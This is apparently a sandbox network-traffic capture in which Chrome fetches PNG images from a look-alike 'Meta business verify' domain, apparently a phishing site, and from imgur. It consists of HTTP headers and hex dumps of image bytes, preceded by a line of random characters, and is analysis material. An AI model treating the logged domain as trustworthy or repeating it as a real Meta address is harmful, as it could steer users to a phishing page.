$Ig)}%`IRJcE(p#c`pU$,%of%I]lfZX~p$jq`}YI~X#f6CDuf$I6L,eX>aY$w`IR/~of7$3T6Ez$X"v@<FHR3>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49762	103.176.25.236	443	6152	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:50:37 UTC	434	OUT	GET /img/banner_new_01.png HTTP/1.1 Host: metabussiness-helper-verify24h-now.abaytravel.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 09:50:38 UTC	259	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:50:33 GMT Server: Apache Upgrade: h2 Connection: Upgrade, close Last-Modified: Thu, 23 May 2024 15:29:32 GMT ETag: "30584-61920b7b4ef00" Accept-Ranges: bytes Content-Length: 198020 Content-Type: image/png
2025-03-13 09:50:38 UTC	7933	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 07 80 00 00 04 38 08 02 00 00 00 67 b1 56 14 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 80 00 49 44 41 54 78 da ec fd 79 90 dc f9 9d de f9 3d cf f7 57 85 1b dd e8 1b dd e8 26 9b c7 90 1c 36 ef 63 66 24 ed 6a 23 24 85 57 92 57 e1 f0 5a 2b c9 b1 f6 ae 37 7c 44 38 2c 87 22 d6 11 96 f7 8f 55 58 0e ad 14 76 ac 56 96 1d 5a 6b b5 23 6d cc 4a a3 d1 0c 35 1c 5e c3 7b 48 0e af e1 d1 ec fb be d1 0d 74 e3 be 81 42 55 e6 ef fb f8 8f ef 2f b3 12 e8 26 c1 06 90 28 a0 ea fd 12 d5 53 95 95 55 95 55 a8 ca ac 7c 7e 9f df f3 f1 de 63 4b 02 00 00 00 00 00 00 00 e0 6a 2b 6b 7d Data Ascii: PNGIHDR8gV cHRMz&u0`:pQ<bKGDIDATxy=W&6cf$j#$WWZ+7\|D8,"UXvVZk#mJ5^{HtBU/&(SUU\|~cKj+k}
2025-03-13 09:50:39 UTC	8000	IN	Data Raw: b8 5e 10 40 03 00 00 5c af 52 8a 52 ad 5a 7d e0 74 ff ed e7 eb 37 9e ae 4f bf 91 b8 38 52 e9 92 c8 96 8a 54 25 c9 9d 6a ec 52 d5 2b c5 52 55 ef 5a e8 e0 c0 8d 28 56 1b 79 ae 93 d9 e7 49 fa 3c 5c ee 48 ca d2 8a 9e 3b 5a 5e 3a be e9 8e 1d f5 c3 77 d5 0f de d9 df bc a5 16 9b f4 19 00 00 e0 3a 41 00 0d 00 00 70 9d 72 c9 f9 51 9e 3d a8 af 3e d9 7f ff 45 1f 3c dd 4b 6d c0 b9 c4 63 49 d3 5e 82 b8 48 35 49 b1 63 97 b8 aa c6 72 0a 31 1c 6e 50 7e d3 e4 fe 5b 75 3a b7 91 67 8d ab f6 9f f2 81 d3 0b 3f 79 ad fb c0 1d fd 87 77 f7 bb 77 d4 ae 50 c1 01 00 00 b0 f6 08 a0 01 00 00 ae b2 d6 3f 9b a4 93 a5 d2 ab d7 4c 76 36 7d a1 a4 8d 29 6b 7a b9 52 a2 b1 5d 92 9c 5e d2 4f 5f cb 97 1e ab 8f ec cb d2 ca 90 b2 c5 4a fa 22 29 43 2d c1 cc 28 68 f1 ea 25 65 f2 e6 b5 fe 5e 00 57 Data Ascii: ^@\RRZ}t7O8RT%jR+RUZ(VyI<\H;Z^:w:AprQ=>E<KmcI^H5Icr1nP~[u:g?ywwP?Lv6})kzR]^O_J")C-(h%e^W
2025-03-13 09:50:39 UTC	8000	IN	Data Raw: f7 85 ba 68 92 73 01 58 23 ed d1 52 19 a6 9b 87 30 7a 72 a1 24 1d 39 a7 af 3c b7 70 66 14 ce 57 00 00 60 4d f0 c4 15 00 80 35 d3 ab 6f f3 58 ed a4 e0 da eb b7 fe a4 3e 7d b0 da 5d 92 58 71 8d 6b 7b 22 5d e4 b8 56 f5 2d 7d ae 4a 55 bf d6 5f 01 b0 a1 5d 70 3a 7f 21 87 06 d6 80 13 15 db 17 2f 45 68 d1 73 7b f4 74 b4 f7 44 f7 a3 d7 16 08 a0 01 00 58 13 04 d0 00 00 ac 81 61 f7 a0 5d a2 64 68 d2 78 74 7f be f6 64 5f ab 92 3e 96 6a 92 38 45 a5 4b 7a a9 6d 1d ec a6 b3 cf 45 dd 5a 7f 1d c0 86 46 98 05 ac b9 e9 c3 e5 ec ef 63 3b 38 e4 99 5f d0 aa 3c b4 bf bc 71 8a 03 45 00 00 ac 01 02 68 00 00 d6 40 7b 6e 9c a4 5a 25 4e a2 94 cf 3c 5c 4f 2d bb 68 48 99 ed ae a8 b3 ed c8 ee a4 32 d9 3a 48 fa 0c ac 25 a7 d8 c9 64 e0 d2 19 22 b0 b5 be 5d c0 46 e4 b7 fa cd 9b 86 d1 b1 Data Ascii: hsX#R0zr$9<pfW`M5oX>}]Xqk{"]V-}JU_]p:!/Ehs{tDXa]dhxtd_>j8EKzmEZFc;8_<qEh@{nZ%N<\O-hH2:H%d"]F
2025-03-13 09:50:39 UTC	8000	IN	Data Raw: 5c 95 e1 c9 49 91 ed ee a2 d8 f5 97 79 da d2 4b 96 d5 ba 08 a5 36 4f 9d e2 58 6e ed a5 51 1d f6 4a 5d ce 6d 2c 51 b5 6d ad 8c bd 32 6a 3d a8 72 86 25 3b 92 56 c6 aa 35 b6 b6 2d ea d7 ee d3 c9 b3 5a ae b9 65 8b 17 17 53 a2 95 b1 9e 3e 92 17 8f 69 b6 9d 63 79 94 7d a7 73 ff 2e 75 6d c8 30 c3 17 9b 64 61 fb 2d 6b fd af 72 63 9b 6d 9c 1c 32 e8 ea 9b 36 e7 00 1d d0 d8 f0 12 b7 5a 56 59 e3 37 1e 3f fd e0 7f af e5 93 aa bd dc c9 55 a9 71 97 a4 28 e1 f7 45 d2 f4 fe a4 b6 c3 9b 55 ea 56 ce 9d fe e3 7f f5 f7 ff ec 7f fc 5f dc f5 9e 0f 4b 8a e3 a8 f5 31 71 ec 10 1b 44 56 ef 21 da 2f 88 34 3d c9 0b 00 00 5c 5b 4c 40 03 c0 25 d8 56 4a 8b 86 a5 a4 5b d4 e2 56 cd 9c da 59 8a dc 5d 7a 76 a6 93 5c db 26 1c 25 1a 45 8f 1f d1 67 9e c9 67 9e c9 e3 07 95 a8 cd e0 5c f6 a9 a0 Data Ascii: \IyK6OXnQJ]m,Qm2j=r%;V5-ZeS>icy}s.um0da-krcm26ZVY7?Uq(EUV_K1qDV!/4=\[L@%VJ[VY]zv\&%Egg\
2025-03-13 09:50:39 UTC	8000	IN	Data Raw: 59 b4 42 c3 7c 96 8f b3 6a 31 4a 45 71 ec 69 03 45 52 9e 27 bc 72 a1 20 06 d1 8e be f8 d4 f0 c6 6d 7e da 71 56 35 a2 0c c9 fb 1c 19 a8 2f f7 3e 5d 65 32 30 10 01 6a 1f 3f 79 fa cf 3f 7b fc 77 ff 78 f6 e5 57 3b 27 4e b6 27 ce 00 c8 86 06 1b 9b d7 f7 ef da b5 ee 1b de 51 df b6 65 df df fc b9 d6 a1 63 2a 45 f9 54 11 c6 c0 e6 d2 95 5c 4e 71 b4 4a a1 06 90 62 e1 62 cd dc e3 28 8f d9 1a 0a a4 f5 9c 3b 18 e6 f6 bd f4 dc 8f ff 83 ad 3f fa dd db 7f e2 07 39 d8 47 92 3c db fd b0 dc 47 ce 71 1c c7 b9 ea b8 00 ed 38 8e d3 a5 0c be c8 80 00 99 a9 20 20 99 28 12 b1 a4 3e f2 d1 3f 2f 66 e7 0d 19 98 82 35 a6 42 98 08 ed e8 27 8e 42 30 11 27 10 46 23 74 bc e5 82 29 1c 31 a9 63 6a 8e 88 65 bf 11 a5 c3 39 03 40 4e ce e0 99 83 d9 e7 9e ab 4d cf 95 dd 8a 60 40 41 c4 b9 3a 59 Data Ascii: YB\|j1JEqiER'r m~qV5/>]e20j?y?{wxW;'N'Qec*ET\NqJbb(;?9G<Gq8 (>?/f5B'B0'F#t)1cje9@NM`@A:Y
2025-03-13 09:50:39 UTC	8000	IN	Data Raw: 56 ea 5f b2 8c a6 62 66 2e fb b3 4f a2 e8 c4 f0 30 31 9c 9a 9b 3f 3a 33 83 52 93 4d e3 2b c8 58 d5 80 dd 38 35 5c f4 73 5a a0 40 b0 19 d8 23 68 b4 63 40 46 4f 51 97 8a ac 2b 98 42 98 9b ad b1 81 9d d9 d8 06 1b a9 21 4f 49 6b 51 44 ee d5 9f 19 e2 ed 51 74 36 94 59 1f 0c d6 c8 8a 56 47 0a 80 4c 01 6a 83 45 08 1d a3 18 df 42 69 c3 9b 6e cd 1b 8d 4e ab c8 37 8e 8d 7d d7 bb 86 df bc 7b b9 df 36 c7 71 1c e7 f2 70 01 da 71 1c e7 d2 04 62 d3 83 6f 1e dc ba ed cc c1 03 a5 7c cb 1c d8 6b 8d 3a f8 52 98 4d 9d 8f 14 94 e6 80 87 28 a5 56 25 3e 17 66 5e 2c dc 7c ec 47 49 8d cf c0 b9 3f 77 83 18 92 c6 1d 00 8b ff 8c f9 12 14 84 c2 d2 20 75 08 18 ee c3 1b f7 cc de b7 1b 34 a9 27 e9 b8 5c a2 44 ed 55 19 d8 c8 d7 6e 58 f7 86 f4 ab 72 ad a0 e9 a9 f4 00 e3 82 74 c0 cb 3e 76 Data Ascii: V_bf.O01?:3RM+X85\sZ@#hc@FOQ+B!OIkQDQt6YVGLjEBinN7}{6qpqbo\|k:RM(V%>f^,\|GI?w u4'\DUnXrt>v
2025-03-13 09:50:39 UTC	8000	IN	Data Raw: 8e b3 2a 29 5b bb d8 6c c4 f9 1c 57 21 06 5a 16 5b d6 26 3e f5 85 7d 3f f9 8f e7 0e 1c 31 20 90 39 58 a0 c8 c0 02 52 a9 35 43 02 ac 88 cd 72 31 f8 ac 14 4c 0f 4e 4f 0f d5 eb 1b fb fb 24 02 c1 c8 e1 5a fd e6 35 23 fb c6 cf cc 87 ce 59 cf d9 3b de b0 48 73 ac c3 a1 d0 ac d4 db f2 1a 53 e5 92 26 c9 0f 7d fb ce 0f 7e fb b6 81 fe 4c 31 8a 5a 04 d1 1c c8 d7 ae 6d ec de 3d f4 d0 d7 6f 6a 9d d1 a1 c7 da 4f ff de dc a9 fd 62 30 00 37 bd a3 be eb 6d f5 54 29 2e e6 b8 a5 1c 6b 18 09 8b 65 28 82 48 3b 6b 80 61 8f d9 39 59 28 18 52 30 48 ec 8e 91 65 b4 05 c2 45 60 ae 85 9e 68 c7 71 1c 67 85 e3 02 b4 e3 38 ce 25 38 6b c6 8b 02 1b cf bf 34 f2 07 1f cb cf 4c a7 f5 79 8f e1 62 11 49 09 01 49 f8 04 80 50 c8 b2 dc 1a b7 8f 7c d3 23 27 ff 4d c1 a2 4a d5 60 50 b8 d4 b6 a3 3f Data Ascii: *)[lW!Z[&>}?1 9XR5Cr1LNO$Z5#Y;HsS&}~L1Zm=ojOb07mT).ke(H;ka9Y(R0HeE`hqg8%8k4LybIIP\|#'MJ`P?
2025-03-13 09:50:39 UTC	8000	IN	Data Raw: cf cd 90 1f 3c 52 7f e5 20 95 ec 23 dd aa 37 b8 09 fa f5 4b 28 87 a3 45 58 0e 9a 8f 76 9e fc d8 c9 c6 c1 23 00 b2 14 59 cb e8 74 26 19 8d 88 00 00 15 57 b6 d0 1d ee 43 9e 49 2a 96 d6 ae e5 38 2b 16 ca a2 58 13 a0 72 8c 2a 10 48 b2 ef e6 f7 0e bd e1 47 58 6b c4 a6 04 96 0d dd af 67 ba 83 67 cb 6a 61 60 ed fa bb de f7 fd b7 bc fd 9b 99 59 9a ad 1a ba 2d 1a 8e f3 ba 22 7e 3a fa f3 32 a9 46 b0 25 fd 1c 98 4a 43 03 29 4b 65 80 ea a6 7b 6e d7 f7 7c 4b f8 f9 9f c1 8d db 53 5e 33 50 67 b6 79 b0 ff ac b4 0d 2c 14 49 7b 6f 94 31 ee ed 58 b3 3e 92 d7 91 f2 a7 2d 8c 0c e1 47 bf 1b ff e6 17 f0 d6 37 29 af ad c9 6c 30 a7 16 a6 3f 9f 97 a8 50 1b ed 6b de b9 29 cf ce 16 01 aa d0 b9 45 28 d1 8c 73 bb cb 32 a9 cc fa 09 d4 82 b4 1f 11 7c 6d d7 d4 bb b1 d1 69 02 87 10 6d df Data Ascii: <R #7K(EXv#Yt&WCI8+XrHGXkggja`Y-"~:2F%JC)Ke{n\|KS^3Pgy,I{o1X>-G7)l0?Pk)E(s2\|mim
2025-03-13 09:50:39 UTC	8000	IN	Data Raw: e6 eb 3a f3 eb 7c 2d 44 1a b6 8b 3c 7a 1f 9b 15 00 8c e3 f2 a9 b3 ad 1d 63 7e 5e e5 da 47 05 d9 5f 68 02 10 a0 55 5f c5 46 c1 43 1f 08 04 02 81 c0 9b 62 fc 7a bb c8 a0 e7 75 06 86 4d af d6 49 8a c0 04 82 a1 94 54 97 cf ca 26 d7 7a c8 d9 2c 3b 21 40 f5 f9 e9 5c 2e 99 6b 0f 8e fa e2 7c 63 71 7e ea d4 91 62 a9 84 42 a9 d4 d3 5b ed 1b 2c 54 7a 8a e5 6a a9 5c 65 21 2a 14 4a c8 19 cf 25 c9 5a db 6e d9 24 69 37 97 e3 7a b3 d5 5e 6e d5 6b ed 46 d3 26 2d 09 fd 3b 0f ec fb e8 ff 50 29 fb ae dd 59 23 8d 46 61 a4 51 1c b4 e9 72 c9 e4 26 48 9c 60 6a 00 8a 10 c5 8a 7f f3 73 c7 7e e5 0f 5f fd d0 23 7b 7e ec db ee b8 7d f7 b0 25 12 28 82 49 a4 08 b4 9b fa 7a 0e 04 02 9b 8c 20 40 07 02 5d 80 2b b9 ee bf e7 f6 e1 a1 81 99 d9 f9 f5 af bc 0c b7 df f6 d8 a3 df f5 3f 0c 6d d9 Data Ascii: :\|-D<zc~^G_hU_FCbzuMIT&z,;!@\.k\|cq~bB[,Tzj\e!*J%Zn$i7z^nkF&-;P)Y#FaQr&H`js~_#{~}%(Iz @]+?m
2025-03-13 09:50:39 UTC	8000	IN	Data Raw: 50 ac 94 47 0f ed 5d bc 34 15 b7 db 85 62 b1 6f db 68 b1 18 65 8f e2 0d 3f 9d 42 62 6f 7f 0e 3d 4b e6 d5 47 4d ab ac 4c 5c 4e af 31 97 6b 0e d1 34 5a e5 23 27 17 b7 8d 46 a2 25 88 68 0d f3 46 db fb 79 61 de bd ca c0 26 a2 09 19 d0 81 40 20 10 b8 c9 c9 3b 85 01 8c 54 37 7a 87 de 6c 6f dd 0d 2f 31 a7 96 e7 7c e6 6f be 38 b4 04 90 b4 db 66 29 e6 e4 12 67 6a 5c 6c 15 ea 6d 17 a5 d7 09 b6 e8 aa 6a 80 e9 34 7d e7 53 5b 5b 5d 74 43 61 e4 3a fd f9 00 41 d1 f7 b3 91 61 a9 3e d1 33 ff 0a 56 e8 ec 7e f0 f6 eb af 0d be 3c d5 63 80 42 84 bf f5 fd 8f 22 57 46 a6 dd 6e 7c 2e 62 fe aa 78 bd 8f e1 f4 c5 f9 cf 3e 79 06 30 52 92 cc 9d 92 6d a7 4b 67 8d a4 7b ef 38 f0 fe 77 df 9f 1f 37 05 02 81 c0 f5 27 08 d0 81 40 17 b3 77 d7 96 43 87 f6 3e f3 cc cb 62 24 d8 54 59 bd f6 ea Data Ascii: PG]4bohe?Bbo=KGML\N1k4Z#'F%hFya&@ ;T7zlo/1\|o8f)gj\lmj4}S[[]tCa:Aa>3V~<cB"WFn\|.bx>y0RmKg{8w7'@wC>b$TY

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49764	103.176.25.236	443	6152	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:50:40 UTC	424	OUT	GET /img/doc.png HTTP/1.1 Host: metabussiness-helper-verify24h-now.abaytravel.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 09:50:41 UTC	256	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 09:50:35 GMT Server: Apache Upgrade: h2 Connection: Upgrade, close Last-Modified: Thu, 23 May 2024 15:29:20 GMT ETag: "165b-61920b6fdd400" Accept-Ranges: bytes Content-Length: 5723 Content-Type: image/png
2025-03-13 09:50:41 UTC	5723	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 3c 00 00 00 3c 08 06 00 00 00 3a fc d9 72 00 00 16 22 49 44 41 54 78 5e c5 9b 6b ac a5 57 79 df 7f cf 5a 6b ef 7d f6 99 73 9d 61 2e 1e cf d8 78 3c b6 42 cc a5 83 12 15 4c 88 1c 6a 0a 84 02 09 90 96 24 25 55 3f 44 91 7a 51 0b 91 10 97 24 6d 2a 12 a2 88 24 52 a9 d2 2a 10 68 55 11 28 a9 d3 a2 60 e3 d4 2d c1 34 24 84 5b a8 cd 4d b1 0d b6 c7 e3 f1 dc 2f e7 cc 39 67 bf ef bb d6 13 b1 9f 47 6b e9 c8 42 11 02 d4 25 ed 79 df f3 ee f7 dd 7b fd 9f eb ff 79 9e 3d 32 dc f7 f6 53 e4 7e 19 14 44 40 22 48 00 cd 10 46 88 08 5a 7a 44 22 00 84 04 65 80 b4 00 25 a3 b9 03 01 10 44 02 a8 a2 5a 90 38 46 f3 0c b4 80 2a c4 91 9d 4b b0 f7 fa 2d bb 2e c1 5e 28 e4 01 42 b4 fb 8a 9f 2b 10 42 fb ce 3c 80 66 7c b5 fb 11 3b cf bd Data Ascii: PNGIHDR<<:r"IDATx^kWyZk}sa.x<BLj$%U?DzQ$m$RhU(`-4$[M/9gGkB%y{y=2S~D@"HFZzD"e%DZ8F*K-.^(B+B<f\|;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49766	199.232.196.193	443	6152	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 09:50:42 UTC	656	OUT	GET /FOY6xZ9.png HTTP/1.1 Host: i.imgur.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://metabussiness-helper-verify24h-now.abaytravel.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 09:50:42 UTC	761	IN	HTTP/1.1 200 OK Connection: close Content-Length: 43347 Content-Type: image/png Last-Modified: Sat, 17 Aug 2024 18:06:51 GMT ETag: "09946bdf69e1c9d67b303e80686043ef" x-amz-server-side-encryption: AES256 X-Amz-Cf-Pop: IAD89-P1 X-Amz-Cf-Id: -nJS4wQ2fjcTJYEBreg4UOjFbB6pOF4mVreiDZxKZuiNJgwHHfNJUg== cache-control: public, max-age=31536000 Accept-Ranges: bytes Age: 1636598 Date: Thu, 13 Mar 2025 09:50:42 GMT X-Served-By: cache-iad-kjyo7100053-IAD, cache-chi-klot8100176-CHI X-Cache: Miss from cloudfront, HIT, HIT X-Cache-Hits: 30, 0 X-Timer: S1741859443.572197,VS0,VE1 Strict-Transport-Security: max-age=300 Access-Control-Allow-Methods: GET, OPTIONS Access-Control-Allow-Origin: * Server: cat factory 1.0 X-Content-Type-Options: nosniff
2025-03-13 09:50:42 UTC	1371	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 04 b0 00 00 04 b0 08 06 00 00 00 eb 21 b3 cf 00 00 80 00 49 44 41 54 78 9c ec dd 09 9c 64 65 7d ef ff cf a9 a5 ab 7b 96 33 c3 2c cc 61 86 01 61 60 58 85 11 59 04 37 14 45 40 59 44 8d a0 a2 a0 44 31 ac 8a 7a 5c a2 c6 dd 12 f5 26 c6 68 62 a2 f9 9b 98 6b 4c 72 6f 72 73 63 4c 62 8c c6 44 b3 a0 5e 13 b7 88 0b 4a 14 8a 7d e6 cc d6 5b d5 f9 bf 7a e6 69 69 60 80 59 ba fb a9 e5 f3 7e bd ca ee a9 81 9e 2f e3 4c f7 a9 6f ff 9e df a9 20 49 92 24 49 92 24 75 31 0b 2c 49 92 24 49 92 24 75 b5 5a ec 00 92 24 49 f3 21 cb 8b 0a b0 00 48 c2 53 23 40 63 c6 3f 32 1c 1e 33 4d fd 3b 8b c2 db 72 8e 23 6e 03 26 1e f0 dc 78 78 7e da 24 b0 75 46 96 ed ad 66 3a 39 c7 b9 24 49 92 a2 4b 62 07 90 24 49 7a 28 59 5e 4c 5d ab d4 c3 37 Data Ascii: PNGIHDR!IDATxde}{3,aa`XY7E@YDD1z\&hbkLrorscLbD^J}[zii`Y~/Lo I$I$u1,I$I$uZ$I!HS#@c?23M;r#n&xx~$uFf:9$IKb$Iz(Y^L]7
2025-03-13 09:50:42 UTC	1371	IN	Data Raw: 53 c3 d1 c0 35 c0 32 a0 12 3b a3 a4 be 57 86 bb 1a de 16 f6 68 fd db 8c 09 ad 5b 5a cd b4 1d 3b a0 24 49 31 59 60 49 92 06 4e 96 17 35 60 05 70 30 70 32 70 0a 70 14 70 48 38 12 28 49 dd 60 5b b8 bb e1 f7 80 7f 0f 8f 1f 03 b7 bb 43 4b 92 34 68 2c b0 24 49 7d 6f c6 d2 f5 35 c0 e3 80 93 c2 d1 c0 f5 e1 79 27 ac 24 75 bb 0e 30 1a a6 b3 fe 33 4c 67 fd 4b 28 b8 ee 6d 35 d3 89 d8 01 25 49 9a 4b 16 58 92 a4 be 93 e5 c5 d4 d7 b7 e1 50 58 6d 98 31 65 75 a4 3b ac 24 f5 89 e9 1d 5a 3f 0a fb b3 be 16 de fe 04 d8 de 6a a6 9d d8 01 25 49 9a 4d 16 58 92 a4 be 10 4a ab e5 61 77 d5 06 e0 09 61 f1 fa 2a 60 61 ec 7c 92 34 c7 c6 c2 f2 f7 ef 02 ff 14 26 b4 be 05 dc ea fe 2c 49 52 3f b0 c0 92 24 f5 ac 2c 2f 46 66 2c 5e 7f 72 b8 5b e0 a1 61 8f 95 5f e3 24 0d b2 2d c0 2d a1 c8 fa Data Ascii: S52;Wh[Z;$I1Y`IN5`p0p2pppH8(I`[CK4h,$I}o5y'$u03LgK(m5%IKXPXm1eu;$Z?j%IMXJawa*`a\|4&,IR?$,/Ff,^r[a_$--
2025-03-13 09:50:42 UTC	1371	IN	Data Raw: 3f 02 f7 b6 9a 69 19 3b 98 24 e9 c1 2c b0 24 a9 0b 65 79 b1 0a 78 32 70 51 78 bb 2c 76 26 49 92 fa 58 01 7c 0d f8 0c f0 b7 c0 2d 16 59 92 d4 5d 2c b0 24 a9 4b 84 bb 09 1e 0a 3c 0b f8 25 e0 78 60 41 ec 5c 92 24 0d 90 09 e0 7b c0 5f 84 5d 59 df f3 ee 85 92 d4 1d 2c b0 24 29 b2 2c 2f 46 80 63 c2 6e ab 67 87 5d 57 d5 d8 b9 24 49 1a 70 3f 05 fe 06 f8 34 f0 f5 56 33 dd 12 3b 90 24 0d 32 0b 2c 49 8a 24 cb 8b c5 61 bf d5 0b 81 33 81 d5 7e 5e 96 24 a9 eb dc 0d 7c 29 14 59 5f 6c 35 d3 7b 62 07 92 a4 41 e4 0b 25 49 9a 67 59 5e 2c 05 9e 06 5c 0c 9c ee 7e 2b 49 92 7a c2 16 e0 5f 42 91 f5 39 e0 76 f7 64 49 d2 fc b1 c0 92 a4 79 92 e5 45 16 ee 24 78 11 70 2a b0 28 76 26 49 92 b4 c7 46 81 ef 84 22 eb 2f 80 9b 5b cd b4 13 3b 94 24 f5 3b 0b 2c 49 9a 43 59 5e 4c 7d 9e 3d 08 Data Ascii: ?i;$,$eyx2pQx,v&IX\|-Y],$K<%x`A\${_]Y,$),/Fcng]W$Ip?4V3;$2,I$a3~^$\|)Y_l5{bA%IgY^,\~+Iz_B9vdIyE$xp*(v&IF"/[;$;,ICY^L}=
2025-03-13 09:50:42 UTC	1371	IN	Data Raw: 59 5e 1c 04 5c 11 8e 0b 66 b1 f3 48 92 24 69 87 8d c0 9f 02 1f 0a c7 0a 3b b1 03 49 1a 5c 16 58 92 a2 c9 f2 62 71 58 ce 7e 2d f0 58 8f 0b 4a 92 24 75 9d 4e 38 56 f8 3b c0 a7 5a cd f4 ae d8 81 24 0d 26 0b 2c 49 f3 2e cb 8b 0a 70 02 70 1d 70 1e b0 38 76 26 49 92 24 3d ac 71 e0 cb c0 fb 80 2f b5 9a e9 44 ec 40 92 06 8b 05 96 a4 79 95 e5 c5 01 c0 4b c2 91 c1 83 63 e7 91 24 49 d2 1e b9 1b f8 54 b8 5b e1 0f bd 5b a1 a4 f9 62 81 25 69 5e 64 79 31 0c 3c 1d 78 0d 70 1a 50 8b 9d 49 92 24 49 7b a5 04 be 05 fc 3a f0 e7 ad 66 ba 31 76 20 49 fd cf 02 4b d2 9c ca f2 62 ea f3 cc 7a e0 6a e0 05 c0 7e b1 33 49 92 24 69 56 6c 07 fe 0a b8 01 f8 46 ab 99 b6 63 07 92 d4 bf 2c b0 24 cd 99 2c 2f 16 01 cf 03 5e 05 1c eb e7 1c 49 92 a4 be f4 13 e0 a3 c0 27 5b cd f4 f6 d8 61 24 f5 Data Ascii: Y^\fH$i;I\XbqX~-XJ$uN8V;Z$&,I.ppp8v&I$=q/D@yKc$IT[[b%i^dy1<xpPI$I{:f1v IKbzj~3I$iVlFc,$,/^I'[a$
2025-03-13 09:50:42 UTC	1371	IN	Data Raw: 17 95 13 fc bb 2b 49 92 24 ed b3 1f 85 6f 0e 7f a6 d5 4c c7 63 87 91 f4 f0 7c 11 2c 75 b9 2c 2f 16 01 2f 05 5e 0b 1c 18 3b 8f 24 49 92 d4 47 36 02 1f 05 fe 47 ab 99 de 19 3b 8c a4 87 66 81 25 75 b1 2c 2f 0e 06 5e 0f bc 18 58 10 3b 8f 24 49 92 d4 87 26 81 bf 02 de d6 6a a6 df 8c 1d 46 d2 ae 59 60 49 5d 28 cb 8b a9 bf 9b 27 01 4d e0 49 40 25 76 26 49 92 24 a9 cf 7d 0b 78 0b f0 d9 56 33 9d 88 1d 46 d2 fd 59 60 49 5d 26 cb 8b a1 b0 a4 fd 1d c0 61 b1 f3 48 92 24 49 03 e4 f6 f0 4d e4 df 6d 35 d3 2d b1 c3 48 ba 8f 05 96 d4 45 b2 bc 58 0a 5c 09 5c 0b ac 8c 9d 47 92 24 49 1a 40 5b 81 4f 02 ef 6b 35 d3 9f c6 0e 23 69 27 0b 2c a9 4b 64 79 b1 0e 78 33 70 11 d0 88 9d 47 92 24 49 1a 60 1d e0 8b c0 1b 5a cd f4 c6 d8 61 24 59 60 49 5d 21 cb 8b 27 02 ef 01 4e f3 ef a5 24 Data Ascii: +I$oLc\|,u,//^;$IG6G;f%u,/^X;$I&jFY`I]('MI@%v&I$}xV3FY`I]&aH$IMm5-HEX\\G$I@[Ok5#i',Kdyx3pG$I`Za$Y`I]!'N$
2025-03-13 09:50:42 UTC	1371	IN	Data Raw: 17 92 24 49 92 d4 8b be 06 5c dd 6a a6 ff 1a 3b 88 34 5f 2c b0 34 30 b2 bc 38 06 f8 00 f0 8c d8 59 24 49 92 24 69 1f 7d 0f b8 0e f8 7c ab 99 96 b1 c3 48 73 cd 1d 58 1a 08 59 5e 9c 04 fc 1e 70 66 ec 2c 92 24 49 92 34 0b 8e 02 7e d3 d7 38 1a 14 4e 60 a9 ef 65 79 71 22 f0 5b c0 c9 b1 b3 48 92 24 49 d2 2c fb 01 70 2d f0 37 4e 62 a9 9f 39 81 a5 be 16 26 af 3e 62 79 25 49 92 24 a9 4f 1d 0e fc 0e 70 71 96 17 be c6 57 df f2 0f b7 fa 56 96 17 4f 05 3e 06 9c 14 3b 8b 24 49 92 24 cd a1 b5 c0 07 43 89 e5 9d d6 d5 97 3c 42 a8 be 93 e5 45 12 ce 81 ff 66 f8 6e 84 24 49 92 24 0d 82 db 80 d7 02 7f dc 6a a6 ed d8 61 a4 d9 e4 04 96 fa d1 99 c0 87 2c af 24 49 92 24 0d 98 03 80 1b 80 8b 9c c4 52 bf 71 02 4b 7d 25 cb 8b 67 38 79 25 49 92 24 69 c0 b5 80 d7 00 9f 6e 35 d3 4e ec Data Ascii: $I\j;4_,408Y$I$i}\|HsXY^pf,$I4~8N`eyq"[H$I,p-7Nb9&>by%I$OpqWVO>;$I$C<BEfn$I$ja,$I$RqK}%g8y%I$in5N
